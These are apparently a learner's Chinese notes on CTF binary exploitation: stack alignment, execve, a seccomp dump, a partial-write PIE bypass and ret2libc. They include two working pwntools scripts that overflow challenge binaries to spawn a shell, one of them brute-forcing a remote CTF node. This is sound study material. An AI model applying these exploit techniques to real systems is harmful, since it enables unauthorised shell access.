nc 签到

没啥好说的

64位调用system

https://www.cnblogs.com/nemuzuki/p/17304843.html

在调用system的时候得避免push rbp因为Ubuntu18,18及以上版本的系统要求在调用system函数时栈16字节对齐
还有就是在调用之前ret指令一次,弹出一次栈

call_system参数

system的参数在rdi里面,通过
pop rdi
retn
可以达到把参数压入rdi中

execve

int execve(const char *file,char *const argv[],char *const envp[])

第一个参数用来打开运行的二进制文件
execve会接改变进程的函数内容,这个函数后面的代码全部不执行,转头去执行我们第一个参数指向的二进制代码

1、文件路径为/bin/sh,这个sh其实是个shell程序,如果argv是空(0也可以),那么就会去打开一个shell,所以execve(“/bin/sh”,0,0)是我们最常用的

如果argv不为空那么sh就可以变成变成一个shell脚本解析器

这时候argv应该是这么组成char *argv[]={“/bin/sh”,”flag”,NULL}这样子

如果argv里面的要解析的文件不是shell程序,那么就会把文件内容以报错的形式输出出来

2、文件路径为/bin/cat,这个cat故名思议就是打印文件内容的程序,函数形式为execve(“/bin/cat”,argv,0),argv[]={“/bin/cat”,”flag”,NULL},zhege argv的第二个变量是要打印的文件的名字,这样子就可以把flag文件打印出来了

分析 seccomp

使用seccomp-tools
https://blog.csdn.net/am_03/article/details/119870152

seccomp-tools dump ./ret2orw

┌──(kali㉿kali)-[~/pm/isctf/ret2orw]
└─$ seccomp-tools dump ./ret2orw 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

PIE绕过

PIE(position-independent executable, 地址无关可执行文件)技术是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址,从而使位于程序本身的gadget也失效。
https://www.cnblogs.com/ichunqiu/p/11350476.html

partial write bypass PIE

partial write(部分写入)就是一种利用了PIE技术缺陷的bypass技术。由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP。

 from pwn import *
context(arch = 'amd64',os = 'linux')
r = "/home/kali/python/pwn/nssctf/Hello_world/attachment"
i=0
while True:
    p = remote("node2.anna.nssctf.cn",28818)
    # elf = ELF(r)
    print(i)
    i+=1
    bin_sh = b'\xC5\x09'
    flag = b'a'*40 + bin_sh
    p.recvuntil(b'wner!')
    # gdb.attach(p,"b read")
    p.send(flag)
    p.recv()
    try:
        p.recv(timeout= 1)
    except EOFError:
        p.close()
        continue
    else:
        sleep(0.1)
        p.interactive()
        break

栈平衡

在某些函数中的某些汇编代码,可能需要地址对齐这主要看rsp地址的最后一个是不是0,所以在很多时候,我们可以在执行函数的地方前加一个ret用来栈平衡。

ret2lib1

ret2lib1的主要思想是地址泄露,最重要的也是如何泄露地址,一般是在类似read或者write中发现然后通过puts等函数直接泄露地址,然后通过泄露的函数地址算出动态链接的基地址,后面就是调用了

from pwn import *
from LibcSearcher import *
# from LibcSearcher import LibcSearcher
context(arch = 'amd64',os = 'linux',log_level = 'debug')
r = "/home/kali/python/pwn/nssctf/GHCTF/ret2libc1/attachment"
# lib1 = "/home/kali/python/pwn/nssctf/GHCTF/ret2libc1/libc.so.6"
p = process([r])#,env={'LD_PRELOAD':lib1}
# p= remote("node2.anna.nssctf.cn",28940)
l = ELF(r)
p.recvuntil(b'youer money')
p.send(b'1')
p.recvuntil(b'would you like buy?')
p.send(b'2')
p.recvuntil(b'How many flowers do you want to buy?')
p.send(b'-100000')
p.recvuntil(b'youer money')
p.send(b'5')
p.recvuntil(b'name it!!!')

# gets = l.symbols['gets']
pop_rdi=0x0400d73
ret_addr =0x0400579
read_pot = l.got['puts']
puts_plt = l.plt['puts']
read_re = 0x0400B1E
flag = b'a'*(64+8)+p64(pop_rdi)+p64(read_pot)+p64(puts_plt)+p64(read_re)
# gdb.attach(p,'b read')
p.send(flag)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr",hex(puts_addr))
# lib= ELF(lib1)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
# libc_base = puts_addr - lib.sym['puts']
# system_addr = libc_base+lib.sym['systemrea']
# bin_sh_addr = libc_base+ next(lib.search("/bin/sh"))
payload = b'a'*(64+8) + p64(ret_addr)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef)

# gdb.attach(p,'b read')
p.recvuntil(b'name it!!!')
p.send(payload) 
p.interactive()

#ubuntu-glibc (id libc6_2.23-0ubuntu11.3_amd64)

一个好奇的人